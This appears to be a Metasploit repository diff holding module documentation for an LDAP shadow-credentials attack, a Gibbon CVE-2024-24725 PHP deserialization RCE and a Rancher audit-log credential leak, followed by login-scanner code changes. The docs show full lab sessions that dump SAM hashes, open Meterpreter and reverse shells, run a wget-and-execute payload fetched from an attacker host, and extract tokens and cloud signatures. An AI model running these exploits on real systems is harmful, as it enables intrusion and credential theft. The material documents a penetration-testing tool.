[*] 20.92.148.129:445 - Dumping SAM hashes
|
||||
[*] 20.92.148.129:445 - Password hints:
|
||||
No users with password hints on this system
|
||||
[*] 20.92.148.129:445 - Password hashes (pwdump format - uid:rid:lmhash:nthash:::):
|
||||
Administrator:500:aad3b435b51404eeaad3b435b51404ee:26f8220ed7f1494c5737bd552e661f89:::
|
||||
```
|
||||
|
||||
### Window Server 2022 Domain Controller, Computer account targeting itself
|
||||
|
||||
In the following example the user `MSF\DESKTOP-H4VEQQHQ$` targets itself. No special permissions are required for this, as computers have some ability to modify their own value by default.
|
||||
|
||||
```msf
|
||||
msf6 auxiliary(admin/ldap/shadow_credentials) > run rhost=20.92.148.129 username=DESKTOP-H971T3AH$ target_user=DESKTOP-H971T3AH$ password=JJ2xSxvop2KERcJu8JMEmzv5sswNZBlV action=add
|
||||
[*] Running module against 20.92.148.129
|
||||
|
||||
[+] Successfully bound to the LDAP server!
|
||||
[*] Discovering base DN automatically
|
||||
[*] 20.92.148.129:389 Getting root DSE
|
||||
[+] 20.92.148.129:389 Discovered base DN: DC=msf,DC=local
|
||||
[*] Certificate stored at: /home/user/.msf4/loot/20240404122017_default_20.92.148.129_windows.ad.cs_502988.pfx
|
||||
[+] Successfully updated the msDS-KeyCredentialLink attribute; certificate with device ID ff946afc-a94a-f9c5-7229-861bb9ee4709
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
Note, however, that attempting to add a second credential will fail under these circumstances:
|
||||
|
||||
```msf
|
||||
msf6 auxiliary(admin/ldap/shadow_credentials) > run rhost=20.92.148.129 username=DESKTOP-H971T3AH$ target_user=DESKTOP-H971T3AH$ password=JJ2xSxvop2KERcJu8JMEmzv5sswNZBlV action=add
|
||||
[*] Running module against 20.92.148.129
|
||||
|
||||
[+] Successfully bound to the LDAP server!
|
||||
[*] Discovering base DN automatically
|
||||
[*] 20.92.148.129:389 Getting root DSE
|
||||
[+] 20.92.148.129:389 Discovered base DN: DC=msf,DC=local
|
||||
[!] By default, computer accounts can only update their key credentials if no value already exists. If there is already a value present, you can remove it, and add your own, but any users relying on the existing credentials will not be able to authenticate until you replace the existing value(s).
|
||||
[-] Failed to update the msDS-KeyCredentialLink attribute.
|
||||
[-] Auxiliary aborted due to failure: no-access: The LDAP operation failed due to insufficient access rights.
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
This is because computer accounts only have permission to modify their own `msDS-KeyCredentialLink` property if it does not already have a value.
|
||||
It is possible to circumvent this by first entirely removing the existing value, and then adding a new one. Note that this will break authentication
|
||||
for any legitimate user relying on the existing value.
|
||||
|
||||
```msf
|
||||
msf6 auxiliary(admin/ldap/shadow_credentials) > set action flush
|
||||
action => flush
|
||||
msf6 auxiliary(admin/ldap/shadow_credentials) > run rhost=20.92.148.129 username=DESKTOP-H971T3AH$ target_user=DESKTOP-H971T3AH$ password=JJ2xSxvop2KERcJu8JMEmzv5sswNZBlV
|
||||
[*] Running module against 20.92.148.129
|
||||
|
||||
[+] Successfully bound to the LDAP server!
|
||||
[*] Discovering base DN automatically
|
||||
[*] 20.92.148.129:389 Getting root DSE
|
||||
[+] 20.92.148.129:389 Discovered base DN: DC=msf,DC=local
|
||||
[+] Successfully deleted the msDS-KeyCredentialLink attribute.
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(admin/ldap/shadow_credentials) > set action add
|
||||
action => add
|
||||
msf6 auxiliary(admin/ldap/shadow_credentials) > run rhost=20.92.148.129 username=DESKTOP-H971T3AH$ target_user=DESKTOP-H971T3AH$ password=JJ2xSxvop2KERcJu8JMEmzv5sswNZBlV
|
||||
[*] Running module against 20.92.148.129
|
||||
|
||||
[+] Successfully bound to the LDAP server!
|
||||
[*] Discovering base DN automatically
|
||||
[*] 20.92.148.129:389 Getting root DSE
|
||||
[+] 20.92.148.129:389 Discovered base DN: DC=msf,DC=local
|
||||
[*] Certificate stored at: /home/user/.msf4/loot/20240404122240_default_20.92.148.129_windows.ad.cs_785877.pfx
|
||||
[+] Successfully updated the msDS-KeyCredentialLink attribute; certificate with device ID 1107833b-0eb6-0477-a7c6-3590b326851a
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
@@ -0,0 +1,275 @@
|
||||
## Vulnerable Application
|
||||
|
||||
A Remote Code Execution vulnerability in Gibbon online school platform version `26.0.00` and lower
|
||||
allows remote authenticated users to conduct PHP deserialization attacks via columnOrder in a POST request
|
||||
to the endpoint `/modules/System%20Admin/import_run.php&type=externalAssessment&step=4`.
|
||||
As it allows remote code execution, adversaries could exploit this flaw to execute arbitrary commands,
|
||||
potentially resulting in complete system compromise, data exfiltration, or unauthorized access to sensitive information.
|
||||
|
||||
This module has been tested with:
|
||||
* Gibbon online School Platform `v26.0.00` on Windows Server `2019` Standard running in VirtualBox `7.0.14 r161095 (Qt5.15.2)`.
|
||||
* Gibbon online School Platform `v26.0.00` on Ubuntu `22.04` running in VirtualBox `7.0.14 r161095 (Qt5.15.2)`.
|
||||
|
||||
## Installation steps to install the Gibbon Online School Platform
|
||||
* Install your favorite virtualization engine (VMware or VirtualBox) on your preferred platform.
|
||||
* Here are the installation instructions for [VirtualBox on MacOS](https://tecadmin.net/how-to-install-virtualbox-on-macos/).
|
||||
* Download the Gibbon School Platform software from [here](https://docs.gibbonedu.org/administrators/getting-started/download/).
|
||||
* Install Gibbon following [these instructions](https://docs.gibbonedu.org/administrators/getting-started/installing-gibbon/).
|
||||
* When installed, you should be able to access the Gibbon Online School Platform
|
||||
* either thru `HTTP` port 80 or `HTTPS` port 443 depending on your configuration settings.
|
||||
|
||||
You are now ready to test the module.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
- [ ] Start `msfconsole`
|
||||
- [ ] `use exploit/multi/http/gibbon_auth_rce_cve_2024_24725`
|
||||
- [ ] `set rhosts <ip-target>`
|
||||
- [ ] `set rport <port>`
|
||||
- [ ] `set username <username>`
|
||||
- [ ] `set password <password>`
|
||||
- [ ] `set target <0=PHP, 1=Unix Command, 2=Linux Dropper, 3=Windows Command, 4=Windows Dropper>`
|
||||
- [ ] `exploit`
|
||||
|
||||
you should get a `reverse shell` or `Meterpreter` session depending on the `payload` and `target` settings.
|
||||
|
||||
## Options
|
||||
|
||||
### WEBSHELL
|
||||
You can use this option to set the filename without extension of the webshell.
|
||||
This is handy if you want to test the webshell upload and execution with different file names.
|
||||
to bypass any security settings on the Web and PHP server.
|
||||
### USERNAME
|
||||
A valid Gibbon username to authenticate at the Gibbon School Platform.
|
||||
You can use the e-mail address or the short name of the user.
|
||||
### PASSWORD
|
||||
The password of the Gibbon user in clear text format.
|
||||
|
||||
## Scenarios
|
||||
```msf
|
||||
msf6 exploit(multi/http/gibbon_auth_rce_cve_2024_24725) > info
|
||||
|
||||
Name: Gibbon School Platform Authenticated PHP Deserialization Vulnerability
|
||||
Module: exploit/multi/http/gibbon_auth_rce_cve_2024_24725
|
||||
Platform: PHP, Unix, Linux, Windows
|
||||
Arch: php, cmd, x64, x86
|
||||
Privileged: No
|
||||
License: Metasploit Framework License (BSD)
|
||||
Rank: Excellent
|
||||
Disclosed: 2024-03-18
|
||||
|
||||
Provided by:
|
||||
h00die-gr3y <h00die.gr3y@gmail.com>
|
||||
SecondX.io Research Team(Ali Maharramli,Fikrat Guliev,Islam Rzayev)
|
||||
|
||||
Module side effects:
|
||||
ioc-in-logs
|
||||
artifacts-on-disk
|
||||
|
||||
Module stability:
|
||||
crash-safe
|
||||
|
||||
Module reliability:
|
||||
repeatable-session
|
||||
|
||||
Available targets:
|
||||
Id Name
|
||||
-- ----
|
||||
=> 0 PHP
|
||||
1 Unix Command
|
||||
2 Linux Dropper
|
||||
3 Windows Command
|
||||
4 Windows Dropper
|
||||
|
||||
Check supported:
|
||||
Yes
|
||||
|
||||
Basic options:
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
PASSWORD yes Password
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][
|
||||
...]
|
||||
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs
|
||||
/using-metasploit/basics/using-metasploit.html
|
||||
RPORT 443 yes The target port (TCP)
|
||||
SSL true no Negotiate SSL/TLS for outgoing connections
|
||||
SSLCert no Path to a custom SSL certificate (default is randomly generated)
|
||||
TARGETURI / yes The Gibbon online school platform endpoint URL
|
||||
URIPATH no The URI to use for this exploit (default is random)
|
||||
USERNAME yes Gibbon username to login, typically an e-mail address
|
||||
VHOST no HTTP server virtual host
|
||||
WEBSHELL no Set webshell name without extension. Name will be randomly generated if left unset.
|
||||
|
||||
|
||||
When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an
|
||||
address on the local machine or 0.0.0.0 to listen on all addresses.
|
||||
SRVPORT 8080 yes The local port to listen on.
|
||||
|
||||
Payload information:
|
||||
|
||||
Description:
|
||||
A Remote Code Execution vulnerability in Gibbon online school platform version 26.0.00 and lower
|
||||
allows remote authenticated users to conduct PHP deserialization attacks via columnOrder in a
|
||||
POST request to the endpoint `/modules/System%20Admin/import_run.php&type=externalAssessment&step=4`.
|
||||
As it allows remote code execution, adversaries could exploit this flaw to execute arbitrary commands,
|
||||
potentially resulting in complete system compromise, data exfiltration, or unauthorized access
|
||||
to sensitive information.
|
||||
|
||||
References:
|
||||
https://nvd.nist.gov/vuln/detail/CVE-2024-24725
|
||||
https://attackerkb.com/topics/ogKGAB44BP/cve-2024-24725
|
||||
https://packetstormsecurity.com/files/177635
|
||||
https://www.exploit-db.com/exploits/51903
|
||||
|
||||
|
||||
View the full module info with the info -d command.
|
||||
```
|
||||
### Target 0 - PHP native `php/meterpreter/reverse_tcp` session
|
||||
```shell
|
||||
msf6 exploit(multi/http/gibbon_auth_rce_cve_2024_24725) > set rport 80
|
||||
rport => 80
|
||||
msf6 exploit(multi/http/gibbon_auth_rce_cve_2024_24725) > set ssl false
|
||||
ssl => false
|
||||
msf6 exploit(multi/http/gibbon_auth_rce_cve_2024_24725) > set username cuckoo@clock.com
|
||||
username => cuckoo@clock.com
|
||||
msf6 exploit(multi/http/gibbon_auth_rce_cve_2024_24725) > set password dingdong
|
||||
password => dingdong
|
||||
msf6 exploit(multi/http/gibbon_auth_rce_cve_2024_24725) > set rhosts 192.168.201.4
|
||||
rhosts => 192.168.201.4
|
||||
msf6 exploit(multi/http/gibbon_auth_rce_cve_2024_24725) > set lhost 192.168.201.8
|
||||
lhost => 192.168.201.8
|
||||
msf6 exploit(multi/http/gibbon_auth_rce_cve_2024_24725) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.201.8:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] Checking if 192.168.201.4:80 can be exploited.
|
||||
[+] The target appears to be vulnerable. Gibbon v26.0.00
|
||||
[*] Executing PHP for php/meterpreter/reverse_tcp
|
||||
[*] Sending stage (39927 bytes) to 192.168.201.4
|
||||
[+] Deleted FaYSQoZdlBg.php
|
||||
[*] Meterpreter session 5 opened (192.168.201.8:4444 -> 192.168.201.4:49958) at 2024-04-01 15:07:30 +0000
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : WIN-BJDNH44EEDB
|
||||
OS : Windows NT WIN-BJDNH44EEDB 10.0 build 17763 (Windows Server 2016) AMD64
|
||||
Meterpreter : php/windows
|
||||
meterpreter > getuid
|
||||
Server username: SYSTEM
|
||||
meterpreter > pwd
|
||||
C:\wamp64\www
|
||||
meterpreter >
|
||||
```
|
||||
### Target 1 - Unix Command `cmd/unix/reverse_bash` session
|
||||
```shell
|
||||
msf6 exploit(multi/http/gibbon_auth_rce_cve_2024_24725) > set target 1
|
||||
target => 1
|
||||
msf6 exploit(multi/http/gibbon_auth_rce_cve_2024_24725) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.201.8:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] Checking if 192.168.201.44:80 can be exploited.
|
||||
[+] The target appears to be vulnerable. Gibbon v26.0.00
|
||||
[*] Executing Unix Command for cmd/unix/reverse_bash
|
||||
[*] Command shell session 2 opened (192.168.201.8:4444 -> 192.168.201.44:33118) at 2024-04-01 19:51:43 +0000
|
||||
|
||||
pwd
|
||||
/var/www
|
||||
uname -a
|
||||
Linux cuckoo 5.15.0-101-generic #111-Ubuntu SMP Tue Mar 5 20:16:58 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
|
||||
id
|
||||
uid=33(www-data) gid=33(www-data) groups=33(www-data),29(audio)
|
||||
```
|
||||
### Target 2 - Linux Dropper `linux/x64/meterpreter/reverse_tcp` session
|
||||
```shell
|
||||
msf6 exploit(multi/http/gibbon_auth_rce_cve_2024_24725) > set target 2
|
||||
target => 2
|
||||
msf6 exploit(multi/http/gibbon_auth_rce_cve_2024_24725) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.201.8:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] Checking if 192.168.201.44:80 can be exploited.
|
||||
[+] The target appears to be vulnerable. Gibbon v26.0.00
|
||||
[*] Executing Linux Dropper for linux/x64/meterpreter/reverse_tcp
|
||||
[*] Using URL: http://192.168.201.8:8080/gn2mFk
|
||||
[*] Client 192.168.201.44 (Wget/1.21.2) requested /gn2mFk
|
||||
[*] Sending payload to 192.168.201.44 (Wget/1.21.2)
|
||||
[*] Sending stage (3045380 bytes) to 192.168.201.44
|
||||
[*] Meterpreter session 3 opened (192.168.201.8:4444 -> 192.168.201.44:46276) at 2024-04-01 19:57:04 +0000
|
||||
[*] Command Stager progress - 100.00% done (112/112 bytes)
|
||||
[*] Server stopped.
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : 192.168.201.44
|
||||
OS : Ubuntu 22.04 (Linux 5.15.0-101-generic)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
meterpreter > getuid
|
||||
Server username: www-data
|
||||
meterpreter > exit
|
||||
```
|
||||
### Target 3 - Windows Command `cmd/windows/powershell/x64/meterpreter/reverse_tcp` session
|
||||
```shell
|
||||
msf6 exploit(multi/http/gibbon_auth_rce_cve_2024_24725) > set target 3
|
||||
target => 3
|
||||
msf6 exploit(multi/http/gibbon_auth_rce_cve_2024_24725) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.201.8:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] Checking if 192.168.201.4:80 can be exploited.
|
||||
[+] The target appears to be vulnerable. Gibbon v26.0.00
|
||||
[*] Executing Windows Command for cmd/windows/powershell/x64/meterpreter/reverse_tcp
|
||||
[*] Sending stage (201798 bytes) to 192.168.201.4
|
||||
[*] Meterpreter session 6 opened (192.168.201.8:4444 -> 192.168.201.4:49962) at 2024-04-01 15:11:38 +0000
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : WIN-BJDNH44EEDB
|
||||
OS : Windows Server 2019 (10.0 Build 17763).
|
||||
Architecture : x64
|
||||
System Language : en_US
|
||||
Domain : WORKGROUP
|
||||
Logged On Users : 1
|
||||
Meterpreter : x64/windows
|
||||
meterpreter > getuid
|
||||
Server username: NT AUTHORITY\SYSTEM
|
||||
meterpreter >
|
||||
```
|
||||
### Target 4 - Windows Dropper `windows/x64/meterpreter/reverse_tcp` session
|
||||
```shell
|
||||
msf6 exploit(multi/http/gibbon_auth_rce_cve_2024_24725) > set target 4
|
||||
target => 4
|
||||
msf6 exploit(multi/http/gibbon_auth_rce_cve_2024_24725) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.201.8:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] Checking if 192.168.201.4:80 can be exploited.
|
||||
[+] The target appears to be vulnerable. Gibbon v26.0.00
|
||||
[*] Executing Windows Dropper for windows/x64/meterpreter/reverse_tcp
|
||||
[*] Using URL: http://192.168.201.8:8080/877P8aB3
|
||||
[*] Client 192.168.201.4 (Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17763.1) requested /877P8aB3
|
||||
[*] Sending payload to 192.168.201.4 (Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17763.1)
|
||||
[*] Sending stage (201798 bytes) to 192.168.201.4
|
||||
[*] Meterpreter session 7 opened (192.168.201.8:4444 -> 192.168.201.4:49967) at 2024-04-01 15:13:43 +0000
|
||||
[*] Command Stager progress - 100.00% done (147/147 bytes)
|
||||
[*] Server stopped.
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : WIN-BJDNH44EEDB
|
||||
OS : Windows Server 2019 (10.0 Build 17763).
|
||||
Architecture : x64
|
||||
System Language : en_US
|
||||
Domain : WORKGROUP
|
||||
Logged On Users : 1
|
||||
Meterpreter : x64/windows
|
||||
meterpreter > getuid
|
||||
Server username: NT AUTHORITY\SYSTEM
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
## Limitations
|
||||
No limitations except for the fact that you need valid login credentials.
|
||||
@@ -0,0 +1,121 @@
|
||||
## Vulnerable Application
|
||||
|
||||
Rancher versions between 2.6.0-2.6.13, 2.7.0-2.7.9, 2.8.0-2.8.1 inclusive
|
||||
contain a vulnerability where sensitive data is leaked into the audit logs.
|
||||
Rancher Audit Logging is an opt-in feature, only deployments that have it
|
||||
enabled and have AUDIT_LEVEL set to 1 or above are impacted by this issue.
|
||||
|
||||
Tested against rancher 2.6.0 and 2.8.1.
|
||||
|
||||
### Install
|
||||
|
||||
Run the following docker command:
|
||||
`docker run -d --restart=unless-stopped -p 80:80 -p 443:443 -e AUDIT_LEVEL=3 -v /var/log/rancher/auditlog:/var/log/auditlog --privileged rancher/rancher:v2.6.0`
|
||||
|
||||
You'll now need to grab the install key via `docker logs`: `docker logs <docker_id> 2>&1 | grep "Bootstrap Password:"`
|
||||
|
||||
Lets now add some data for the logs:
|
||||
|
||||
1. Click Cluster Management
|
||||
1. Select Cloud Credentials:
|
||||
1. Click the hamburger in the top left corner
|
||||
1. Select Cluster Management
|
||||
1. Click Cloud Credentials, and Create
|
||||
1. Pick Digital Ocean
|
||||
1. Fill in random data, it doesn't have to validate and be a live account
|
||||
1. Click Create. It will fail, but the audit logs we need have been written
|
||||
1. Pick Amazon
|
||||
1. Fill in random data, it doesn't have to validate and be a live account
|
||||
1. Click Create. It will fail, but the audit logs we need have been written
|
||||
1. Click your user icon in the top right corner
|
||||
1. Select Accounts & API Keys
|
||||
1. Click Create API Key
|
||||
1. Give it a name and click create. Write down these values
|
||||
1. Perform a request via curl (on the docker image is easiest) which will generate more logs (but ultimately fail):
|
||||
`curl -H "X-Api-Auth-Header: <your bearer token>" -H "X-Amz-Security-Token: FINDME" -k https://172.17.0.2/v3/clusters`
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application and generate data
|
||||
1. Start msfconsole
|
||||
1. Get a shell
|
||||
1. Do: `use post/linux/gather/rancher_audit_log_leak`
|
||||
1. Do: `set session [#]`
|
||||
1. Do: `run`
|
||||
1. You should get a table of leaky fields found
|
||||
|
||||
## Options
|
||||
|
||||
### LOGFILE
|
||||
|
||||
The log file to analyze. Defaults to `/var/log/auditlog/rancher-api-audit.log`
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Rancher 2.6.0 on Docker
|
||||
|
||||
```
|
||||
[*] Processing rancher_logs.rb for ERB directives.
|
||||
resource (rancher_logs.rb)> use exploit/multi/script/web_delivery
|
||||
[*] Using configured payload python/meterpreter/reverse_tcp
|
||||
resource (rancher_logs.rb)> set target 7
|
||||
target => 7
|
||||
resource (rancher_logs.rb)> set payload linux/x64/meterpreter/reverse_tcp
|
||||
payload => linux/x64/meterpreter/reverse_tcp
|
||||
resource (rancher_logs.rb)> set lhost 172.18.0.1
|
||||
lhost => 172.18.0.1
|
||||
resource (rancher_logs.rb)> run
|
||||
[*] Exploit running as background job 0.
|
||||
[*] Exploit completed, but no session was created.
|
||||
[*] Started reverse TCP handler on 172.18.0.1:4444
|
||||
[*] Using URL: http://172.18.0.1:8080/zpJT4e2V
|
||||
[*] Server started.
|
||||
[*] Run the following command on the target machine:
|
||||
wget -qO gmZmOwc0 --no-check-certificate http://172.18.0.1:8080/zpJT4e2V; chmod +x gmZmOwc0; ./gmZmOwc0& disown
|
||||
[*] Sending stage (3045380 bytes) to 172.17.0.2
|
||||
[*] Meterpreter session 1 opened (172.18.0.1:4444 -> 172.17.0.2:34252) at 2024-03-13 16:51:26 +0000
|
||||
```
|
||||
|
||||
```
|
||||
resource (rancher_logs.rb)> use post/linux/gather/rancher_audit_log_leak
|
||||
resource (rancher_logs.rb)> set session 1
|
||||
session => 1
|
||||
resource (rancher_logs.rb)> set verbose true
|
||||
verbose => true
|
||||
msf6 post(linux/gather/rancher_audit_log_leak) >
|
||||
msf6 post(linux/gather/rancher_audit_log_leak) > run
|
||||
|
||||
[+] Rancher log saved to: /root/.msf4/loot/20240313165133_default_172.17.0.2_rancher.api.log_616439.txt
|
||||
[+] Found X-Api-Auth-Header token-p6nzp:zcpscwmzbx2kvfdffl8lqlqv5564s98225zn5ds67rtnw5m4hcjlqs
|
||||
[+] Found X-Amz-Security-Token FINDME
|
||||
[+] Found X-Api-Auth-Header Bearer aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
|
||||
[+] Found X-Api-Set-Cookie-Header: __cf_bm=2W30ytsdvsLv72Iok1yhwxxsb2vMTPSR7TBCwVZFSGA-1710342756-1.0.1.1-W82_TGzMA.9nV.Qan0XFdGijkdil8VjhuSHbCC85hD2XEsS9rEaR_IlX0X_hsDuDj52ULmlywjjTJZP5zkk503.D4IDGc30FExY2pUhDRyU; path=/; expires=Wed, 13-Mar-24 15:42:36 GMT; domain=.digitalocean.com; HttpOnly; Secure; SameSite=None
|
||||
[+] Found X-Api-Auth-Header Bearer digital_ocean_access_token
|
||||
[+] Found X-Api-Set-Cookie-Header: __cf_bm=MDIoCaX1Uv1po1JmVaiUvzljV4m9vovMhzjQBN36u2c-1710342849-1.0.1.1-GaceyvEmf5JRuEDxjuU.ByuyIEj6RtMkdN.QqbENHhCLLk.VLlSqn2kk6ykypIZqbpWgzQtOk6iamIROy456PtvgVL9PA3ZebG9CFh1y8IM; path=/; expires=Wed, 13-Mar-24 15:44:09 GMT; domain=.digitalocean.com; HttpOnly; Secure; SameSite=None
|
||||
[+] Found X-Api-Auth-Header AWS4-HMAC-SHA256 Credential=aws_key/20240313/us-west-2/ec2/aws4_request, SignedHeaders=amz-sdk-invocation-id;amz-sdk-request;content-length;content-type;host;x-amz-content-sha256;x-amz-date;x-amz-user-agent, Signature=be70968f3e291c0dad80ea15daa220ab8e87d79b76f28e782319443a174aa626
|
||||
[+] Found X-Api-Auth-Header AWS4-HMAC-SHA256 Credential=aws_key/20240313/us-west-2/ec2/aws4_request, SignedHeaders=amz-sdk-invocation-id;amz-sdk-request;content-length;content-type;host;x-amz-content-sha256;x-amz-date;x-amz-user-agent, Signature=32d930648433fbb8d4da9a26af23ec83ce0df0e9010e56da3b7ee2708cee0e75
|
||||
[+] Found X-Api-Auth-Header AWS4-HMAC-SHA256 Credential=aws_key/20240313/us-west-2/ec2/aws4_request, SignedHeaders=amz-sdk-invocation-id;amz-sdk-request;content-length;content-type;host;x-amz-content-sha256;x-amz-date;x-amz-user-agent, Signature=6992fecba7ad5f33e0cf5ab5d86c4e7df8b332a74c861a5d3f05a65a5fbc9bed
|
||||
[+] Leaked Information
|
||||
==================
|
||||
|
||||
Field Value Location
|
||||
----- ----- --------
|
||||
Username admin Requests
|
||||
X-Amz-Security-Token FINDME requestHeader
|
||||
X-Api-Auth-Header token-p6nzp:zcpscwmzbx2kvfdffl8lqlqv5564s98225zn5ds67rtnw5m4hcjlqs requestHeader
|
||||
X-Api-Auth-Header Bearer aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa requestHeader
|
||||
X-Api-Auth-Header Bearer digital_ocean_access_token requestHeader
|
||||
X-Api-Auth-Header AWS4-HMAC-SHA256 Credential=aws_key/20240313/us-west-2/ec2/aws4_request, SignedHeaders=amz-sdk-invocation-id;amz-sdk-request;content-length;content-type;host;x-amz-conten requestHeader
|
||||
t-sha256;x-amz-date;x-amz-user-agent, Signature=be70968f3e291c0dad80ea15daa220ab8e87d79b76f28e782319443a174aa626
|
||||
X-Api-Auth-Header AWS4-HMAC-SHA256 Credential=aws_key/20240313/us-west-2/ec2/aws4_request, SignedHeaders=amz-sdk-invocation-id;amz-sdk-request;content-length;content-type;host;x-amz-conten requestHeader
|
||||
t-sha256;x-amz-date;x-amz-user-agent, Signature=32d930648433fbb8d4da9a26af23ec83ce0df0e9010e56da3b7ee2708cee0e75
|
||||
X-Api-Auth-Header AWS4-HMAC-SHA256 Credential=aws_key/20240313/us-west-2/ec2/aws4_request, SignedHeaders=amz-sdk-invocation-id;amz-sdk-request;content-length;content-type;host;x-amz-conten requestHeader
|
||||
t-sha256;x-amz-date;x-amz-user-agent, Signature=6992fecba7ad5f33e0cf5ab5d86c4e7df8b332a74c861a5d3f05a65a5fbc9bed
|
||||
X-Api-Set-Cookie-Header __cf_bm=2W30ytsdvsLv72Iok1yhwxxsb2vMTPSR7TBCwVZFSGA-1710342756-1.0.1.1-W82_TGzMA.9nV.Qan0XFdGijkdil8VjhuSHbCC85hD2XEsS9rEaR_IlX0X_hsDuDj52ULmlywjjTJZP5zkk503.D4IDGc30FExY responseHeader
|
||||
2pUhDRyU; path=/; expires=Wed, 13-Mar-24 15:42:36 GMT; domain=.digitalocean.com; HttpOnly; Secure; SameSite=None
|
||||
X-Api-Set-Cookie-Header __cf_bm=MDIoCaX1Uv1po1JmVaiUvzljV4m9vovMhzjQBN36u2c-1710342849-1.0.1.1-GaceyvEmf5JRuEDxjuU.ByuyIEj6RtMkdN.QqbENHhCLLk.VLlSqn2kk6ykypIZqbpWgzQtOk6iamIROy456PtvgVL9PA3ZebG9 responseHeader
|
||||
CFh1y8IM; path=/; expires=Wed, 13-Mar-24 15:44:09 GMT; domain=.digitalocean.com; HttpOnly; Secure; SameSite=None
|
||||
|
||||
[*] Post module execution completed
|
||||
msf6 post(linux/gather/rancher_audit_log_leak) >
|
||||
```
|
||||
@@ -82,6 +82,7 @@ module Metasploit
|
||||
result_options[:status] = Metasploit::Model::Login::Status::SUCCESSFUL
|
||||
if use_client_as_proof
|
||||
result_options[:proof] = client
|
||||
result_options[:connection] = client.sock
|
||||
else
|
||||
client.disconnect
|
||||
end
|
||||
|
||||
@@ -37,7 +37,7 @@ module Metasploit
|
||||
begin
|
||||
# manage our behind the scenes socket. Close any existing one and open a new one
|
||||
disconnect if self.sock
|
||||
self.sock = connect
|
||||
connect
|
||||
|
||||
mysql_conn = ::Rex::Proto::MySQL::Client.connect(host, credential.public, credential.private, '', port, io: self.sock)
|
||||
|
||||
@@ -75,7 +75,8 @@ module Metasploit
|
||||
# Additionally assign values to nil to avoid closing the socket etc automatically
|
||||
if use_client_as_proof
|
||||
result_options[:proof] = mysql_conn
|
||||
nil
|
||||
result_options[:connection] = self.sock
|
||||
self.sock = nil
|
||||
else
|
||||
mysql_conn.close
|
||||
end
|
||||
|
||||
@@ -11,7 +11,7 @@ module Metasploit
|
||||
class Postgres
|
||||
include Metasploit::Framework::LoginScanner::Base
|
||||
|
||||
# @returns [Boolean] If a login is successful and this attribute is true - a PostgreSQL::Client instance is used as proof,
|
||||
# @returns [Boolean] If a login is successful and this attribute is true - a Msf::Db::PostgresPR::Connection instance is used as proof,
|
||||
# and the socket is not immediately closed
|
||||
attr_accessor :use_client_as_proof
|
||||
|
||||
@@ -80,7 +80,7 @@ module Metasploit
|
||||
# Additionally assign values to nil to avoid closing the socket etc automatically
|
||||
if use_client_as_proof
|
||||
result_options[:proof] = pg_conn
|
||||
pg_conn = nil
|
||||
result_options[:connection] = pg_conn.conn
|
||||
else
|
||||
pg_conn.close
|
||||
end
|
||||
|
||||
@@ -152,6 +152,7 @@ module Metasploit
|
||||
# Additionally assign values to nil to avoid closing the socket etc automatically
|
||||
if use_client_as_proof
|
||||
proof = client
|
||||
connection = self.sock
|
||||
client = nil
|
||||
self.sock = nil
|
||||
self.dispatcher = nil
|
||||
@@ -184,7 +185,11 @@ module Metasploit
|
||||
access_level ||= AccessLevels::GUEST
|
||||
end
|
||||
|
||||
result = Result.new(credential: credential, status: status, proof: proof, access_level: access_level)
|
||||
result = Result.new(credential: credential,
|
||||
status: status,
|
||||
proof: proof,
|
||||
access_level: access_level,
|
||||
connection: connection)
|
||||
result.host = host
|
||||
result.port = port
|
||||
result.protocol = 'tcp'
|
||||
|
||||
@@ -14,6 +14,7 @@ module Metasploit
|
||||
|
||||
DEFAULT_TIMEOUT = 2
|
||||
DEFAULT_PORT = 161
|
||||
DEFAULT_PROTOCOL = 'udp'.freeze
|
||||
DEFAULT_VERSION = '1'.freeze
|
||||
DEFAULT_QUEUE_SIZE = 100
|
||||
LIKELY_PORTS = [ 161, 162 ].freeze
|
||||
@@ -27,6 +28,10 @@ module Metasploit
|
||||
# @return [String]
|
||||
attr_accessor :version
|
||||
|
||||
# The SNMP protocol to use
|
||||
# @return [String]
|
||||
attr_accessor :protocol
|
||||
|
||||
# The number of logins to try in each batch
|
||||
# @return [Integer]
|
||||
attr_accessor :queue_size
|
||||
@@ -37,6 +42,12 @@ module Metasploit
|
||||
in: ['1', '2c', 'all']
|
||||
}
|
||||
|
||||
validates :protocol,
|
||||
presence: true,
|
